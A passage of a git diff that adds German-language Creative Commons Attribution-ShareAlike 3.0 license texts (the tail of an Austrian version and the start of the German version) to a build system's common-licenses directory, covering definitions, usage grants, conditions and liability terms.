+ i. enthält Bestimmungen, welche die gleichen Ziele verfolgen, die gleiche Bedeutung haben und die gleichen Wirkungen erzeugen wie die Lizenzelemente der vorliegenden Lizenz; und
+
+ ii. erlaubt ausdrücklich das Lizenzieren von ihr unterstellten Abwandlungen unter vorliegender Lizenz, unter einer anderen rechtsordnungsspezifisch angepassten Creative-Commons-Lizenz mit denselben Lizenzelementen wie vorliegende Lizenz aufweist oder unter der entsprechenden Creative-Commons-Unported-Lizenz.
+
+2. Beschränkungen der Verwertungsrechte
+
+Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die sich aus den Beschränkungen der Verwertungsrechte, anderen Beschränkungen der Ausschließlichkeitsrechte des Rechtsinhabers oder anderen entsprechenden Rechtsnormen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Lizenzierung
+
+Unter den Bedingungen dieser Lizenz erteilt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - die vergütungsfreie, räumlich und zeitlich (für die Dauer des Urheberrechts oder verwandten Schutzrechts am Schutzgegenstand) unbeschränkte Nutzungsbewilligung, den Schutzgegenstand in der folgenden Art und Weise zu nutzen:
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Den Schutzgegenstand zu bearbeiten, einschließlich Übersetzungen unter Nutzung jedweder Medien anzufertigen, sofern deutlich erkennbar gemacht wird, dass es sich um eine Bearbeitung handelt;
+
+ c. Den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich wiederzugeben und zu verbreiten; und
+
+ d. Bearbeitungen des Schutzgegenstandes zu veröffentlichen, öffentlich wiederzugeben und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechenden Vergütungsansprüche für jede Ausübung eines Rechts aus dieser Lizenz durch Sie geltend zu machen.
+
+ ii. Vergütung bei Zwangslizenzen: Soweit Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Geltendmachung der Vergütungsansprüche durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Die vorgenannte Nutzungsbewilligung wird für alle bekannten sowie alle noch nicht bekannten Nutzungsarten eingeräumt. Sie beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich vom Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf die Geltendmachung sämtlicher daraus resultierender Rechte.
+
+4. Bedingungen
+
+Die Erteilung der Nutzungsbewilligung gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich wiedergeben. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dasselbe gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie - soweit dies praktikabel ist - auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Bearbeitung vornehmen, müssen Sie – soweit dies praktikabel ist – auf die Mitteilung eines Lizenzgebers hin von der Bearbeitung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Bearbeitung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen,
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 US),
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts, oder
+
+ v. einer mit Creative Commons kompatiblen Lizenz
+
+ verbreiten oder öffentlich wiedergeben.
+
+ Falls Sie die Bearbeitung gemäß Abschnitt b)(v) unter einer mit Creative Commons kompatiblen Lizenz lizenzieren, müssen Sie deren Lizenzbestimmungen Folge leisten.
+
+ Falls Sie die Bearbeitung unter einer der unter b)(i)-(iv) genannten Lizenzen ("Verwendbare Lizenzen") lizenzieren, müssen Sie deren Lizenzbestimmungen sowie folgenden Bestimmungen Folge leisten: Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Bearbeitung verbreiten oder öffentlich wiedergeben. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Bearbeitung, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Bearbeitung verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf die Bearbeitung) keine technischen Maßnahmen ergreifen, die den Nutzer der Bearbeitung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Bearbeitung einen Bestandteil eines Sammelwerkes bildet; dies bedeutet jedoch nicht, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Verbreitung und die öffentliche Wiedergabe des Schutzgegenstandes oder auf ihm aufbauender Inhalte oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Urheberschaft oder die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie selbst – soweit bekannt – Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers, und/oder falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) („Zuschreibungsempfänger“), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Bearbeitung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Bearbeitung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Bearbeitung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung aller Beitragenden dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Urhebers, des Lizenzgebers und/oder des Zuschreibungsempfängers weder implizit noch explizit irgendeine Verbindung mit dem oder eine Unterstützung oder Billigung durch den Lizenzgeber oder den Zuschreibungsempfänger andeuten oder erklären.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. (Urheber)Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE ERTEILUNG DER NUTZUNGSBEWILLIGUNG UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN.
+
+6. Haftungsbeschränkung
+
+ÜBER DIE IN ZIFFER 5 GENANNTE GEWÄHRLEISTUNG HINAUS HAFTET DER LIZENZGEBER IHNEN GEGENÜBER FÜR SCHÄDEN JEGLICHER ART NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG FÜR FOLGE- ODER ANDERE SCHÄDEN, AUCH WENN ER ÜBER DIE MÖGLICHKEIT IHRES EINTRITTS UNTERRICHTET WURDE.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie erteilte Nutzungsbewilligung erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Bearbeitungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke sowie entsprechende Vervielfältigungsstücke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Bearbeitung des Schutzgegenstandes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Republik Österreich Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-SA-3.0-DE b/meta/files/common-licenses/CC-BY-SA-3.0-DE
new file mode 100644
index 0000000000..7ea586af4b
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-3.0-DE
@@ -0,0 +1,136 @@
+Creative Commons Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Weitergabe unter gleichen Bedingungen".
+
+ e. Der "*Lizenzgeber*" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+ k. "Mit Creative Commons kompatible Lizenz" bezeichnet eine Lizenz, die unter https://creativecommons.org/compatiblelicenses aufgelistet ist und die durch Creative Commons als grundsätzlich zur vorliegenden Lizenz äquivalent akzeptiert wurde, da zumindest folgende Voraussetzungen erfüllt sind:
+
+ Diese mit Creative Commons kompatible Lizenz
+
+ i. enthält Bestimmungen, welche die gleichen Ziele verfolgen, die gleiche Bedeutung haben und die gleichen Wirkungen erzeugen wie die Lizenzelemente der vorliegenden Lizenz; und
+
+ ii. erlaubt ausdrücklich das Lizenzieren von ihr unterstellten Abwandlungen unter vorliegender Lizenz, unter einer anderen rechtsordnungsspezifisch angepassten Creative-Commons-Lizenz mit denselben Lizenzelementen, wie sie die vorliegende Lizenz aufweist, oder unter der entsprechenden Creative-Commons-Unported-Lizenz.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Abwandlung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen,
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 US),
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts, oder
+
+ v. einer mit Creative Commons kompatiblen Lizenz
+
+ verbreiten oder öffentlich zeigen.
+
+ Falls Sie die Abwandlung gemäß Abschnitt (v) unter einer mit Creative Commons kompatiblen Lizenz lizenzieren, müssen Sie deren Lizenzbestimmungen Folge leisten.
+
